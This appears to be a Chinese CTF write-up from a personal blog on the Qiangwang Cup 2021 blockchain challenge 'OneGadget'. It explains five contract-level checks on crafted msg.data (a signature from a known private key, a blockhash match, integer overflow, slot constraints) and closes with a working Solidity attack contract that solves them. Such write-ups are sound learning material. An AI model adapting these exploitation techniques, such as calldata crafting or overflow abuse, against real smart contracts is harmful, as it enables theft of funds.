Sissel's blog

【区块链】强网杯2021线上赛 OneGadget

字数统计: 312阅读时长: 1 min
2021/06/20 Share

五层合约,构造符合要求的msg.data可以完成题目任务。

题目简介

五层合约,构造符合要求的msg.data可以完成题目任务。需要满足如下条件:

合约一

满足给出的条件:require(ecrecover(keccak256(“solved”), v, r, s) == 0x2B5AD5c4795c026514f8317c7a215E218DcCD6cF); 该地址私钥可查到,为0x02
签名用这个工具生成
https://gist.github.com/onyb/cf795c819fdf8aa6015de2772fde24de

v,r,s分别是msg.data的前三个slot的值,其中v & 0xff == 0x1b

合约二

msg.data的slot0的高字节和blockhash相同,这里就决定了要用攻击合约。

合约三

msg.data的slot1和slot2末尾不为0,且相加后有整数上溢。前三个合约都限制的是v,r,s的值

合约四

有些复杂

  1. data[0x24:0x44]-data[0x44:0x64] == data[0x64:0x84] - data[0x84:0xa4]
  2. data从0x24开始,与从0xa4开始,对应位置同奇偶(4组)

合约五

设msg.data[0xc4:0xe4] % 6 -> k,有 data[0x04+k0x20 : 0x04+k0x20 + 0x20] == keccak256(“choose”) (六个data的slot里,选一个是keccak256(“choose”))

最终的攻击合约

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
pragma solidity 0.4.24;

contract AA{
address public next;
constructor(bytes memory a) payable public {
next = 0x111;
assembly {
return(add(0x20, a), mload(a))
}
}
}

contract BB{
constructor() payable public{
address a = 0x111;
a.call(bytes4(0xf4ab27cc), blockhash(block.number-1)|0xff1b ,0x3ec07bbb0fe7fd6e6d2abbb5f0a0c9947173da8daa5265f6231beea212772585,0x26236f50af44e91e608d5946b411a4f86a83ace0543bf8efca7bee233d1f98db,0xe201a979a73f6a2947c212ebbed36f5d85b35629db25dfd9441d562a1c6ca896,0xc9649d0f469c55d93b24b07c82444ac17ec3287c850f72d2eb7d55ab47151bec,0x0000000000000000000000000000000000000000000000000000000000000001,0x0000000000000000000000000000000000000000000000000000000000000003,0x0000000000000000000000000000000000000000000000000000000000000000, 0xc9649d0f469c55d93b24b07c82444ac17ec3287c850f72d2eb7d55ab47151bec);
}
}
CATALOG
  1. 1. 题目简介
    1. 1.1. 合约一
    2. 1.2. 合约二
    3. 1.3. 合约三
    4. 1.4. 合约四
    5. 1.5. 合约五
    6. 1.6. 最终的攻击合约